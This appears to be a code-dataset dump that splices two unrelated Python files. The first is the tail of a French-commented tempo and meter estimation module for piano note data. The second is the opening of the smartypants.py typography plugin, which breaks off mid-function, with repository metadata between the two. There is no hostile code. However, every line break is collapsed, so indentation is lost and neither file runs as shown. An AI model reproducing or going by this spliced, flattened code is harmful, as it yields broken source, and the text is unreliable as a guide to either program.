tempo = 1. return tempo #################################################### # ESTIMATION DU TEMPO #################################################### # Calcul de la fin de chacune des notes (en seconde) et remplacement de la # colonne "durée en beats" note_piece[:, 1] = note_piece[:, 5] + note_piece[:, 6] # DECOMPTE DES EVENEMENTS DISTINCTS (i.e UN ACCORD = UN EVENEMENT) # Matrice Note_classees : # Colonne 1: Instant de la frappe (en secondes) # Colonne 2: Instant de fin de la note (en secondes) # Colonne 3: Nombre de touches frappées à la fois Dur_min = np.min(note_piece[:, 6]) tolerance = max(Dur_min / 3, 0.05) Nb_att = 1 Note_classees = np.zeros([nbnotes_piece, 3]) Note_classees[0, 0] = note_piece[0, 5] Note_classees[0, 1] = note_piece[0, 1] # !!! FJ : Il ne manque pas quelque chose pour gérer Note_classees[0, 2] ? # là ça vaut 0 # OUI, il faut initialiser à 1 pour tenir compte de la note qu'on vient de # classer Note_classees[0, 2] = 1 Last_time = note_piece[0, 5] dtim1 = 0.1 for i in np.arange(1, nbnotes_piece): dti = note_piece[i, 5] - Last_time if dti >= tolerance: # Non-simultanéité de 2 notes Nb_att += 1 Note_classees[Nb_att - 1, 0] = note_piece[i, 5] Note_classees[Nb_att - 1, 1] = note_piece[i, 1] Note_classees[Nb_att - 1, 2] = 1 Last_time = note_piece[i, 5] else: # Simultanéité de 2 notes Note_classees[Nb_att - 1, 2] += 1 # MARQUAGE / PONDERATION DES EVENEMENTS POUR EN DEDUIRE UN POIDS RYTHMIQUE Poids_tempo = np.zeros([Nb_att, 6]) Poids_tempo[:, 0] = Note_classees[:Nb_att, 0] # Marquage Nr1: Valeurs successives d'inter-onsets proches/égales Poids_tempo[0, 1] = 1 # Initialisation for i in np.arange(2, Nb_att): dti = Note_classees[i, 0] - Note_classees[i - 1, 0] dtim1 = Note_classees[i - 1, 0] - Note_classees[i - 2, 0] if abs(dtim1 - dti) <= 0.2 * dtim1: Poids_tempo[i, 1] = 1 # Marquage Nr2: intervalles entre attaques allongés Poids_tempo[0, 2] = 1 # Initialisation for i in np.arange(1, Nb_att - 1): dti = Note_classees[i, 0] - Note_classees[i - 1, 0] dtip1 = Note_classees[i + 1, 0] - Note_classees[i, 0] if dtip1 / dti <= 1.2: Poids_tempo[i, 2] = 1 # Marquage Nr3: Nb de notes par accord Poids_tempo[:, 3] = Note_classees[:Nb_att, 2] - np.ones(Nb_att) # Marquage Nr4: Nb d'accords se terminant sur une attaque donnée dist_time = np.zeros(Nb_att) for i in np.arange(2, Nb_att): for j in np.arange(Nb_att): dist_time[j] = np.abs(Note_classees[j, 1] - Note_classees[i, 0]) marq2 = np.nonzero(dist_time <= tolerance)[0] l = marq2.shape[0] if l > 0: Poids_tempo[i, 4] = l - 1 # !!! FJ : Il vaudrait mieux écrire la ligne ci-dessous sous forme de produit matriciel Poids_tempo[:, 5] = 1 * Poids_tempo[:, 1] + 1 * Poids_tempo[:, 2] + 2 * Poids_tempo[:, 3] + 2 * Poids_tempo[:, 4] # GENERATION DE BATTUES POSSIBLES # Principe: on choisit un évènement # #-------------------------------------------------------------------------- #-------------------------------------------------------------------------- #-------------------------------------------------------------------------- # TEMPO DE L'ENSEMBLE DU MORCEAU # # Initialisation: début de la propagation des battues à partir du 1/12 de # la durée du morceau # !!! FJ : je pense qu'il y a un gros bug là dans le code scilab, parce qu'il # manque un des indices, il utilise la matrice comme un vecteur et trouve des indices très grands # OK, ma modif est bonne indices = np.nonzero(Note_classees[:, 0] > ( Note_classees[Nb_att - 1, 0] / 12))[0] i1 = max(indices[0], 1) # On vérifie que le point de départ est bien un maximum local de poids # tempo (borné à 1/6 de la longueur du morceau) while (i1 < (np.fix(Nb_att / 6.) - 1)) and \ ((Poids_tempo[i1 - 1, 5] >= Poids_tempo[i1, 5]) or (Poids_tempo[i1 + 1, 5] >= Poids_tempo[i1, 5])): i1 += 1 # Initialisation des battues: intervalles de temps entre la valeur de # départ et toutes les notes jouées jusque là # !!! FJ : Note_classees(1:(i1-1)) vaut implicitement Note_classees(1:(i1-1),1)), c'est bien ce qu'on veut ? # Pourquoi ne pas mettre explicitement le deuxième indice ? # OK, ma modif est bonne, comme ça marchait Tom n'a pas repéré ("wild # programming") battuesav = Note_classees[i1, 0] - Note_classees[:i1, 0] # !!! FJ : sur le fichier bug_4.pckt, ici battuesap vaut [] et je ne sais # pas si c'est correct battuesap = Note_classees[int(( i1 + 1)):int((i1 + 2 + np.fix(Nb_att / 6))), 0] - Note_classees[i1, 0] #!!! FJ : Pourquoi indiquer les indices dans battues qui n'existe pas encore ? # OK, Tom savait pas que c'était pas nécessaire # battues[0:i1+np.fix(Nb_att/6)] = np.vstack([battuesav, battuesap]) battues = np.hstack([battuesav, battuesap]) # Elimination des battues de plus de 1.3 secondes # !!! FJ : il va falloir adapter des choses là -> notamment à passer en vectoriel # Modif FJ : dans certains cas, on a un plantage parce que battues ne contient aucune # battue inférieure à 1.3 -> pour éviter le plantage, on prend le minimum des battues # disponibles dans ce cas if battues.min() < 1.3: ind_battues = np.nonzero(battues < 1.3)[0] else: ind_battues = np.nonzero(battues == battues.min())[0] Nb_battues = ind_battues.shape[0] liste_battues = np.zeros([Nb_battues, 3]) for i in np.arange(Nb_battues): k = ind_battues[i] liste_battues[i, 0] = battues[k] # !!! FJ : scilab fait le tri à l'envers (du plus grand au plus petit, # je dois ajouter [::-1] pour inverser l'ordre des résultats liste_battues[:, 0] = np.sort(liste_battues[:, 0])[::-1] for i in np.arange(Nb_battues): i2 = i1 # Critere pour la propagation d'une battue: crit_dist = max(0.1 * liste_battues[i, 0], 2 * tolerance) # Recherche de la frappe la plus proche ind_max = min( i2 + np.floor(liste_battues[i, 0] / tolerance) + 1, Nb_att - 2) # !!! FJ : Dans le cas limite ou i2 = ind_max (cf fichier bug_1.pckt, # on a une expression de la forme [] - un truc, et le comportement par # défaut dans ce cas est différent entre scilab et Python -> il faut # gérer à part ce cas. # Le code original : # test = np.abs(Note_classees[i2+1:ind_max+1, 0] - Note_classees[i2, 0] - liste_battues[i, 0]) # devient : if i2 >= ind_max: test = np.abs(Note_classees[i2, 0] + liste_battues[i, 0]) else: test = np.abs( Note_classees[int(i2 + 1):int(ind_max + 1), 0] - Note_classees[i2, 0] - liste_battues[int(i), 0]) distance = np.min(test) ind_possible = np.argmin(test) + 1 # !!! FJ : cette initialisation semble inutile, à confirmer #temp_batt = [liste_battues[i, 0]] # OK tant que ça marche temp_batt = [] Nb_prop = 1 while (distance < crit_dist) and ((ind_max) < Nb_att - 1): Nb_prop += 1 # !!! FJ : Je ne sais pas bien ce qu'est censé faire le code là, # mais je trouve dans mes fichiers des cas (cf bug_2.pckt) où # i2+ind_possible dépasse la limite du tableau -> j'ajoute un test, # mais il faudrait voir quelle est la bonne solution if i2 + ind_possible < Note_classees.shape[0]: temp_batt.append( abs(Note_classees[i2, 0] - Note_classees[i2 + ind_possible, 0])) else: break # Mise a jour de la battue (moyenne des battues trouvees # precedemment) # !!! FJ : Ça ne sert à rien de faire ces assignations à chaque boucle while, il suffirait de le faire à la fin # On devrait pouvoir le sortir, à tester liste_battues[i, 0] = np.mean(temp_batt) liste_battues[i, 1] = Note_classees[i2 + ind_possible, 0] - Note_classees[i1, 0] liste_battues[i, 2] = Nb_prop # Re-setting for next loop # !!! FJ : Est-ce qui se passe vraiment ce qu'on veut là ? ind_possible n'est pas recalculé au cours de la boucle # OUI le commentaire est faux ind_possible est modifié à la # dernière ligne de cette boucle i2 += ind_possible ind_max = min( i2 + np.floor(liste_battues[i, 0] / tolerance) + 1, Nb_att - 2) # !!! FJ : il y a un cas bizarre qui arrive notamment sur # 'current_super_enerve.pckt', je suis obligé d'ajouter un if pour # reproduire le comportement de scilab dans ce cas pour lequel # []-1 = -1 alors que pour numpy []-1 = [] if i2 >= ind_max: test = np.abs(Note_classees[i2, 0] + liste_battues[i, 0]) else: # print("ind_max: %s" % ind_max) # print("i: %s" % i) # print("i2: %s" % i2) test = np.abs(Note_classees[( i2 + 1):int(ind_max) + 1, 0] - Note_classees[i2, 0] - liste_battues[i, 0]) distance = np.min(test) ind_possible = np.argmin(test) + 1 del temp_batt # !!! FJ : J'ai pas bien suivi ce que fait l'algo, mais ce qu'on trouve dans # liste_battues est un peu douteux (plusieurs fois la même ligne), à vérifier # OK, comme l'algo apprend la batue, il peut s'adapter et tomber sur les # mêmes valeurs ind_tempo = np.argmax(liste_battues[:, 2]) # !!! FJ : problème l'ordre que sort gsort de scilab pour les valeurs identique est différent de celui que j'obtiens avec np.sort # -> pour avoir le même résultat je suis obligé d'implémenter ma propre fonction arggsort k = arggsort(liste_battues[:, 2]) battues_classees = np.zeros([Nb_battues, 3]) for i in np.arange(Nb_battues): battues_classees[i, :] = liste_battues[k[i], 0:3] # !!! FJ : dist_batt est définie mais non-utilisée dans la version scilab # OK # dist_batt = np.zeros([Nb_battues, Nb_battues]) # Si une battue a un multiple dans la liste, augmentation de son poids for i in np.arange(Nb_battues): for j in np.arange(Nb_battues): # !!! FJ : J'ai un fichier (bug_5.pckt) sur lequel j'obtiens une division par 0 ici # j'ajoute un test, mais il faudrait voir quelle est la bonne # solution if battues_classees[j, 0] != 0.: if ((battues_classees[i, 0] / battues_classees[j, 0]) > 1.9) \ and ((battues_classees[i, 0] / battues_classees[j, 0]) < 2.1): battues_classees[i, 2] = battues_classees[i, 2] * 3.0 # !!! FJ : je ne pige pas bien pourquoi il y a le code suivant, les battues # n'étant pas ordonnées le while s'arrete sur la première de la liste plus # grande que 0.4, mais on n'a aucune autre garantie sur sa valeur # si le but c'est de retirer toutes les valeurs en dessous de 0.4, # ça ne marche pas # -> Il y a bien un problème en fait il faudrait retirer ces valeurs de battue bien avant au moment où on fait # ind_battues = np.nonzero(battues<1.3)[0] ind_mini = 0 if np.max(battues_classees[:, 0]) > 0.4: while battues_classees[ind_mini, 0] < 0.4: ind_mini += 1 ind_tempo = np.argmax(battues_classees[ind_mini:Nb_battues, 2]) # !!! FJ : le deuxième indice est manquant dans scilab # OK # !!! FJ : J'ai un fichier (bug_5.pckt) sur lequel j'obtiens une division par 0 ici # j'ajoute un test, mais il faudrait voir quelle est la bonne solution if battues_classees[ind_tempo + ind_mini, 0] != 0.: tempo = 60 / battues_classees[ind_tempo + ind_mini, 0] else: tempo = 1. # FJ !!! : ajout pour probleme fichier bug_4.pckt. Voir coment bien gérer # ce cas if tempo < 0.: tempo = 1. return tempo def METRIQUE(note_piece): #################################################### # ESTIMATION DE LA METRIQUE (binaire / ternaire) #################################################### # Autocorrelation-based estimate of meter # m = meter(nmat,<option>) # Returns an autocorrelation-based estimate of meter of NMAT. # Based on temporal structure and on Thomassen's melodic accent. # Uses discriminant function derived from a collection of 12000 folk melodies. # m = 2 for simple duple # m = 3 for simple triple or compound # # Input argument: # NMAT = notematrix # OPTION (Optional, string) = Argument 'OPTIMAL' uses a weighted combination # of duration and melodic accents in the inference of meter (see Toiviainen & Eerola, 2004). # # Output: # M = estimate of meter (M=2 for simple duple; M=3 for simple triple or compound) # # References: # Brown, J. (1993). Determination of the meter of musical scores by # autocorrelation. Journal of the Acoustical Society of America, # 94(4), 1953-1957. # Toiviainen, P. & Eerola, T. (2004). The role of accent periodicities in meter induction: # a classification study, In x (Ed.), Proceedings of the ICMPC8. xxx:xxx. # # Change History : # Date Time Prog Note # 11.8.2002 18:36 PT Created under MATLAB 5.3 (Macintosh) #© Part of the MIDI Toolbox, Copyright © 2004, University of Jyvaskyla, Finland # See License.txt # !!! FJ : pourquoi y'a ça ?: # ac = ofacorr(onsetfunc(nmat,'dur')); NDIVS = 4 # four divisions per quater note MAXLAG = 8 ob = note_piece[:, 5] acc = note_piece[:, 6] vlen = NDIVS * max(2 * MAXLAG, np.ceil(np.max(ob)) + 1) of = np.zeros(int(vlen)) # Note FJ : La fonction round de numpy n'utilise pas la même convention que scilab pour les valeurs # pile entre deux entiers (par exemple 0.5). # Pour avoir le même comportement que sous scilab, au lieu d'utiliser : # ind = np.mod(np.round(ob*NDIVS), of.shape[0]) # on utilise la fonction round par défaut de Python qui a le même # comportement que dans scilab : my_round = np.vectorize(lambda x: round(x)) ind = np.mod(my_round(ob * NDIVS), of.shape[0]) # Note FJ : on ne peut pas remplacer la boucle suivante par # of[ind.astype(int)] += acc # car elle n'est pas équivalente si ind contient plusieurs fois le même # indice for k in np.arange(ind.shape[0]): of[int(ind[k])] += acc[k] # !!! FJ : éventuellement mettre of-of.mean dans une variable temporaire ici ac = np.correlate(of - of.mean(), of - of.mean(), mode='full')[of.shape[0] - 1:] # !!! FJ : ind1 et ind2 sont définis mais pas utilisés dans scilab # ind1 = 1; # ind2 = min(length(ac),MAXLAG*NDIVS+1); if ac[0] > 0: ac /= ac[0] # !!! FJ : réécrire les boucles for ci-dessous en vectoriel if ac.shape[0] % 2 > 0.: for i in np.arange(np.floor(ac.shape[0] / 2)): ac[i] = ac[2 + 2 * i] else: for i in np.arange(np.floor(ac.shape[0] / 2) - 1): ac[int(i)] = ac[2 + 2 * int(i)] if ac[3] >= ac[5]: metrique = 2 else: metrique = 3 return metrique if __name__ == '__main__': # duree, tristesse, Enervement, Complexite, metrique, tonalite, tempo, cocktail = PIANOCKTAIL('current_super_enerve.pckt') # a1 = "Duree = "+str(duree)+" - Tristesse = "+str(tristesse)+" - Enervement = "+str(Enervement) # a2 = "Complexite = "+str(Complexite)+" - Metrique = "+str(metrique)+" - Tonalite = "+str(tonalite) # a3 = "Tempo = "+str(tempo)+" - Cocktail = "+str(cocktail) # print(a1) # print(a2) # print(a3) precision = '10.13' import sys if len(sys.argv) > 1: precision = sys.argv[1] from glob import glob data_dir_path = '.' if len(sys.argv) > 2: data_dir_path = sys.argv[2] file_names = glob(data_dir_path + '/*.pckt') file_names.sort() #file_names = ['random_96.pckt'] form = '{:' + precision + 'f}' for file_name in file_names: duree, tristesse, Enervement, Complexite, metrique, tonalite, tempo, cocktail = PIANOCKTAIL( file_name) print('fichier : ' + file_name) print('duree : ' + form.format(duree)) print('tristesse : ' + form.format(tristesse)) print('enervement : ' + form.format(Enervement)) print('complexite : ' + form.format(Complexite)) print('metrique : ' + form.format(metrique)) print('tonalite : ' + form.format(tonalite)) print('tempo : ' + form.format(tempo)) print('cocktail : ' + cocktail) print('') sys.stdout.flush() sys.stderr.write(file_name + ' processed by Python\n') sys.stderr.flush() sys.stderr.write('\nProcessing by Python finished\n\n') sys.stderr.flush()
lgpl-2.1
stone5495/NewsBlur
vendor/typogrify/smartypants.py
37
29160
#!/usr/bin/python r""" ============== smartypants.py ============== ---------------------------- SmartyPants ported to Python ---------------------------- Ported by `Chad Miller`_ Copyright (c) 2004, 2007 Chad Miller original `SmartyPants`_ by `John Gruber`_ Copyright (c) 2003 John Gruber Synopsis ======== A smart-quotes plugin for Pyblosxom_. The priginal "SmartyPants" is a free web publishing plug-in for Movable Type, Blosxom, and BBEdit that easily translates plain ASCII punctuation characters into "smart" typographic punctuation HTML entities. This software, *smartypants.py*, endeavours to be a functional port of SmartyPants to Python, for use with Pyblosxom_. Description =========== SmartyPants can perform the following transformations: - Straight quotes ( " and ' ) into "curly" quote HTML entities - Backticks-style quotes (\`\`like this'') into "curly" quote HTML entities - Dashes (``--`` and ``---``) into en- and em-dash entities - Three consecutive dots (``...`` or ``. . .``) into an ellipsis entity This means you can write, edit, and save your posts using plain old ASCII straight quotes, plain dashes, and plain dots, but your published posts (and final HTML output) will appear with smart quotes, em-dashes, and proper ellipses. SmartyPants does not modify characters within ``<pre>``, ``<code>``, ``<kbd>``, ``<math>`` or ``<script>`` tag blocks. Typically, these tags are used to display text where smart quotes and other "smart punctuation" would not be appropriate, such as source code or example markup. Backslash Escapes ================= If you need to use literal straight quotes (or plain hyphens and periods), SmartyPants accepts the following backslash escape sequences to force non-smart punctuation. It does so by transforming the escape sequence into a decimal-encoded HTML entity: (FIXME: table here.) .. comment It sucks that there's a disconnect between the visual layout and table markup when special characters are involved. .. comment ====== ===== ========= .. comment Escape Value Character .. comment ====== ===== ========= .. comment \\\\\\\\ &#92; \\\\ .. comment \\\\" &#34; " .. comment \\\\' &#39; ' .. comment \\\\. &#46; . .. comment \\\\- &#45; \- .. comment \\\\` &#96; \` .. comment ====== ===== ========= This is useful, for example, when you want to use straight quotes as foot and inch marks: 6'2" tall; a 17" iMac. Options ======= For Pyblosxom users, the ``smartypants_attributes`` attribute is where you specify configuration options. Numeric values are the easiest way to configure SmartyPants' behavior: "0" Suppress all transformations. (Do nothing.) "1" Performs default SmartyPants transformations: quotes (including \`\`backticks'' -style), em-dashes, and ellipses. "``--``" (dash dash) is used to signify an em-dash; there is no support for en-dashes. "2" Same as smarty_pants="1", except that it uses the old-school typewriter shorthand for dashes: "``--``" (dash dash) for en-dashes, "``---``" (dash dash dash) for em-dashes. "3" Same as smarty_pants="2", but inverts the shorthand for dashes: "``--``" (dash dash) for em-dashes, and "``---``" (dash dash dash) for en-dashes. "-1" Stupefy mode. Reverses the SmartyPants transformation process, turning the HTML entities produced by SmartyPants into their ASCII equivalents. E.g. "&#8220;" is turned into a simple double-quote ("), "&#8212;" is turned into two dashes, etc. The following single-character attribute values can be combined to toggle individual transformations from within the smarty_pants attribute. For example, to educate normal quotes and em-dashes, but not ellipses or \`\`backticks'' -style quotes: ``py['smartypants_attributes'] = "1"`` "q" Educates normal quote characters: (") and ('). "b" Educates \`\`backticks'' -style double quotes. "B" Educates \`\`backticks'' -style double quotes and \`single' quotes. "d" Educates em-dashes. "D" Educates em-dashes and en-dashes, using old-school typewriter shorthand: (dash dash) for en-dashes, (dash dash dash) for em-dashes. "i" Educates em-dashes and en-dashes, using inverted old-school typewriter shorthand: (dash dash) for em-dashes, (dash dash dash) for en-dashes. "e" Educates ellipses. "w" Translates any instance of ``&quot;`` into a normal double-quote character. This should be of no interest to most people, but of particular interest to anyone who writes their posts using Dreamweaver, as Dreamweaver inexplicably uses this entity to represent a literal double-quote character. SmartyPants only educates normal quotes, not entities (because ordinarily, entities are used for the explicit purpose of representing the specific character they represent). The "w" option must be used in conjunction with one (or both) of the other quote options ("q" or "b"). Thus, if you wish to apply all SmartyPants transformations (quotes, en- and em-dashes, and ellipses) and also translate ``&quot;`` entities into regular quotes so SmartyPants can educate them, you should pass the following to the smarty_pants attribute: The ``smartypants_forbidden_flavours`` list contains pyblosxom flavours for which no Smarty Pants rendering will occur. Caveats ======= Why You Might Not Want to Use Smart Quotes in Your Weblog --------------------------------------------------------- For one thing, you might not care. Most normal, mentally stable individuals do not take notice of proper typographic punctuation. Many design and typography nerds, however, break out in a nasty rash when they encounter, say, a restaurant sign that uses a straight apostrophe to spell "Joe's". If you're the sort of person who just doesn't care, you might well want to continue not caring. Using straight quotes -- and sticking to the 7-bit ASCII character set in general -- is certainly a simpler way to live. Even if you I *do* care about accurate typography, you still might want to think twice before educating the quote characters in your weblog. One side effect of publishing curly quote HTML entities is that it makes your weblog a bit harder for others to quote from using copy-and-paste. What happens is that when someone copies text from your blog, the copied text contains the 8-bit curly quote characters (as well as the 8-bit characters for em-dashes and ellipses, if you use these options). These characters are not standard across different text encoding methods, which is why they need to be encoded as HTML entities. People copying text from your weblog, however, may not notice that you're using curly quotes, and they'll go ahead and paste the unencoded 8-bit characters copied from their browser into an email message or their own weblog. When pasted as raw "smart quotes", these characters are likely to get mangled beyond recognition. That said, my own opinion is that any decent text editor or email client makes it easy to stupefy smart quote characters into their 7-bit equivalents, and I don't consider it my problem if you're using an indecent text editor or email client. Algorithmic Shortcomings ------------------------ One situation in which quotes will get curled the wrong way is when apostrophes are used at the start of leading contractions. For example: ``'Twas the night before Christmas.`` In the case above, SmartyPants will turn the apostrophe into an opening single-quote, when in fact it should be a closing one. I don't think this problem can be solved in the general case -- every word processor I've tried gets this wrong as well. In such cases, it's best to use the proper HTML entity for closing single-quotes (``&#8217;``) by hand. Bugs ==== To file bug reports or feature requests (other than topics listed in the Caveats section above) please send email to: mailto:[email protected] If the bug involves quotes being curled the wrong way, please send example text to illustrate. To Do list ---------- - Provide a function for use within templates to quote anything at all. Version History =============== 1.5_1.6: Fri, 27 Jul 2007 07:06:40 -0400 - Fixed bug where blocks of precious unalterable text was instead interpreted. Thanks to Le Roux and Dirk van Oosterbosch. 1.5_1.5: Sat, 13 Aug 2005 15:50:24 -0400 - Fix bogus magical quotation when there is no hint that the user wants it, e.g., in "21st century". Thanks to Nathan Hamblen. - Be smarter about quotes before terminating numbers in an en-dash'ed range. 1.5_1.4: Thu, 10 Feb 2005 20:24:36 -0500 - Fix a date-processing bug, as reported by jacob childress. - Begin a test-suite for ensuring correct output. - Removed import of "string", since I didn't really need it. (This was my first every Python program. Sue me!) 1.5_1.3: Wed, 15 Sep 2004 18:25:58 -0400 - Abort processing if the flavour is in forbidden-list. Default of [ "rss" ] (Idea of Wolfgang SCHNERRING.) - Remove stray virgules from en-dashes. Patch by Wolfgang SCHNERRING. 1.5_1.2: Mon, 24 May 2004 08:14:54 -0400 - Some single quotes weren't replaced properly. Diff-tesuji played by Benjamin GEIGER. 1.5_1.1: Sun, 14 Mar 2004 14:38:28 -0500 - Support upcoming pyblosxom 0.9 plugin verification feature. 1.5_1.0: Tue, 09 Mar 2004 08:08:35 -0500 - Initial release Version Information ------------------- Version numbers will track the SmartyPants_ version numbers, with the addition of an underscore and the smartypants.py version on the end. New versions will be available at `http://wiki.chad.org/SmartyPantsPy`_ .. _http://wiki.chad.org/SmartyPantsPy: http://wiki.chad.org/SmartyPantsPy Authors ======= `John Gruber`_ did all of the hard work of writing this software in Perl for `Movable Type`_ and almost all of this useful documentation. `Chad Miller`_ ported it to Python to use with Pyblosxom_. Additional Credits ================== Portions of the SmartyPants original work are based on Brad Choate's nifty MTRegex plug-in. `Brad Choate`_ also contributed a few bits of source code to this plug-in. Brad Choate is a fine hacker indeed. `Jeremy Hedley`_ and `Charles Wiltgen`_ deserve mention for exemplary beta testing of the original SmartyPants. `Rael Dornfest`_ ported SmartyPants to Blosxom. .. _Brad Choate: http://bradchoate.com/ .. _Jeremy Hedley: http://antipixel.com/ .. _Charles Wiltgen: http://playbacktime.com/ .. _Rael Dornfest: http://raelity.org/ Copyright and License ===================== SmartyPants_ license:: Copyright (c) 2003 John Gruber (http://daringfireball.net/) All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name "SmartyPants" nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. This software is provided by the copyright holders and contributors "as is" and any express or implied warranties, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose are disclaimed. In no event shall the copyright owner or contributors be liable for any direct, indirect, incidental, special, exemplary, or consequential damages (including, but not limited to, procurement of substitute goods or services; loss of use, data, or profits; or business interruption) however caused and on any theory of liability, whether in contract, strict liability, or tort (including negligence or otherwise) arising in any way out of the use of this software, even if advised of the possibility of such damage. smartypants.py license:: smartypants.py is a derivative work of SmartyPants. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. This software is provided by the copyright holders and contributors "as is" and any express or implied warranties, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose are disclaimed. In no event shall the copyright owner or contributors be liable for any direct, indirect, incidental, special, exemplary, or consequential damages (including, but not limited to, procurement of substitute goods or services; loss of use, data, or profits; or business interruption) however caused and on any theory of liability, whether in contract, strict liability, or tort (including negligence or otherwise) arising in any way out of the use of this software, even if advised of the possibility of such damage. .. _John Gruber: http://daringfireball.net/ .. _Chad Miller: http://web.chad.org/ .. _Pyblosxom: http://roughingit.subtlehints.net/pyblosxom .. _SmartyPants: http://daringfireball.net/projects/smartypants/ .. _Movable Type: http://www.movabletype.org/ """ default_smartypants_attr = "1" import re tags_to_skip_regex = re.compile(r"<(/)?(pre|code|kbd|script|math)[^>]*>", re.I) def verify_installation(request): return 1 # assert the plugin is functional def cb_story(args): global default_smartypants_attr try: forbidden_flavours = args["entry"]["smartypants_forbidden_flavours"] except KeyError: forbidden_flavours = [ "rss" ] try: attributes = args["entry"]["smartypants_attributes"] except KeyError: attributes = default_smartypants_attr if attributes is None: attributes = default_smartypants_attr entryData = args["entry"].getData() try: if args["request"]["flavour"] in forbidden_flavours: return except KeyError: if "&lt;" in args["entry"]["body"][0:15]: # sniff the stream return # abort if it looks like escaped HTML. FIXME # FIXME: make these configurable, perhaps? args["entry"]["body"] = smartyPants(entryData, attributes) args["entry"]["title"] = smartyPants(args["entry"]["title"], attributes) ### interal functions below here def smartyPants(text, attr=default_smartypants_attr): convert_quot = False # should we translate &quot; entities into normal quotes? # Parse attributes: # 0 : do nothing # 1 : set all # 2 : set all, using old school en- and em- dash shortcuts # 3 : set all, using inverted old school en and em- dash shortcuts # # q : quotes # b : backtick quotes (``double'' only) # B : backtick quotes (``double'' and `single') # d : dashes # D : old school dashes # i : inverted old school dashes # e : ellipses # w : convert &quot; entities to " for Dreamweaver users skipped_tag_stack = [] do_dashes = "0" do_backticks = "0" do_quotes = "0" do_ellipses = "0" do_stupefy = "0" if attr == "0": # Do nothing. return text elif attr == "1": do_quotes = "1" do_backticks = "1" do_dashes = "1" do_ellipses = "1" elif attr == "2": # Do everything, turn all options on, use old school dash shorthand. do_quotes = "1" do_backticks = "1" do_dashes = "2" do_ellipses = "1" elif attr == "3": # Do everything, turn all options on, use inverted old school dash shorthand. do_quotes = "1" do_backticks = "1" do_dashes = "3" do_ellipses = "1" elif attr == "-1": # Special "stupefy" mode. do_stupefy = "1" else: for c in attr: if c == "q": do_quotes = "1" elif c == "b": do_backticks = "1" elif c == "B": do_backticks = "2" elif c == "d": do_dashes = "1" elif c == "D": do_dashes = "2" elif c == "i": do_dashes = "3" elif c == "e": do_ellipses = "1" elif c == "w": convert_quot = "1" else: pass # ignore unknown option tokens = _tokenize(text) result = [] in_pre = False prev_token_last_char = "" # This is a cheat, used to get some context # for one-character tokens that consist of # just a quote char. What we do is remember # the last character of the previous text # token, to use as context to curl single- # character quote tokens correctly. for cur_token in tokens: if cur_token[0] == "tag": # Don't mess with quotes inside some tags. This does not handle self <closing/> tags! result.append(cur_token[1]) skip_match = tags_to_skip_regex.match(cur_token[1]) if skip_match is not None: if not skip_match.group(1): skipped_tag_stack.append(skip_match.group(2).lower()) in_pre = True else: if len(skipped_tag_stack) > 0: if skip_match.group(2).lower() == skipped_tag_stack[-1]: skipped_tag_stack.pop() else: pass # This close doesn't match the open. This isn't XHTML. We should barf here. if len(skipped_tag_stack) == 0: in_pre = False else: t = cur_token[1] last_char = t[-1:] # Remember last char of this token before processing. if not in_pre: oldstr = t t = processEscapes(t) if convert_quot != "0": t = re.sub('&quot;', '"', t) if do_dashes != "0": if do_dashes == "1": t = educateDashes(t) if do_dashes == "2": t = educateDashesOldSchool(t) if do_dashes == "3": t = educateDashesOldSchoolInverted(t) if do_ellipses != "0": t = educateEllipses(t) # Note: backticks need to be processed before quotes. if do_backticks != "0": t = educateBackticks(t) if do_backticks == "2": t = educateSingleBackticks(t) if do_quotes != "0": if t == "'": # Special case: single-character ' token if re.match("\S", prev_token_last_char): t = "&#8217;" else: t = "&#8216;" elif t == '"': # Special case: single-character " token if re.match("\S", prev_token_last_char): t = "&#8221;" else: t = "&#8220;" else: # Normal case: t = educateQuotes(t) if do_stupefy == "1": t = stupefyEntities(t) prev_token_last_char = last_char result.append(t) return "".join(result) def educateQuotes(str): """ Parameter: String. Returns: The string, with "educated" curly quote HTML entities. Example input: "Isn't this fun?" Example output: &#8220;Isn&#8217;t this fun?&#8221; """ oldstr = str punct_class = r"""[!"#\$\%'()*+,-.\/:;<=>?\@\[\\\]\^_`{|}~]""" # Special case if the very first character is a quote # followed by punctuation at a non-word-break. Close the quotes by brute force: str = re.sub(r"""^'(?=%s\\B)""" % (punct_class,), r"""&#8217;""", str) str = re.sub(r"""^"(?=%s\\B)""" % (punct_class,), r"""&#8221;""", str) # Special case for double sets of quotes, e.g.: # <p>He said, "'Quoted' words in a larger quote."</p> str = re.sub(r""""'(?=\w)""", """&#8220;&#8216;""", str) str = re.sub(r"""'"(?=\w)""", """&#8216;&#8220;""", str) # Special case for decade abbreviations (the '80s): str = re.sub(r"""\b'(?=\d{2}s)""", r"""&#8217;""", str) close_class = r"""[^\ \t\r\n\[\{\(\-]""" dec_dashes = r"""&#8211;|&#8212;""" # Get most opening single quotes: opening_single_quotes_regex = re.compile(r""" ( \s | # a whitespace char, or &nbsp; | # a non-breaking space entity, or -- | # dashes, or &[mn]dash; | # named dash entities %s | # or decimal entities &\#x201[34]; # or hex ) ' # the quote (?=\w) # followed by a word character """ % (dec_dashes,), re.VERBOSE) str = opening_single_quotes_regex.sub(r"""\1&#8216;""", str) closing_single_quotes_regex = re.compile(r""" (%s) ' (?!\s | s\b | \d) """ % (close_class,), re.VERBOSE) str = closing_single_quotes_regex.sub(r"""\1&#8217;""", str) closing_single_quotes_regex = re.compile(r""" (%s) ' (\s | s\b) """ % (close_class,), re.VERBOSE) str = closing_single_quotes_regex.sub(r"""\1&#8217;\2""", str) # Any remaining single quotes should be opening ones: str = re.sub(r"""'""", r"""&#8216;""", str) # Get most opening double quotes: opening_double_quotes_regex = re.compile(r""" ( \s | # a whitespace char, or &nbsp; | # a non-breaking space entity, or -- | # dashes, or &[mn]dash; | # named dash entities %s | # or decimal entities &\#x201[34]; # or hex ) " # the quote (?=\w) # followed by a word character """ % (dec_dashes,), re.VERBOSE) str = opening_double_quotes_regex.sub(r"""\1&#8220;""", str) # Double closing quotes: 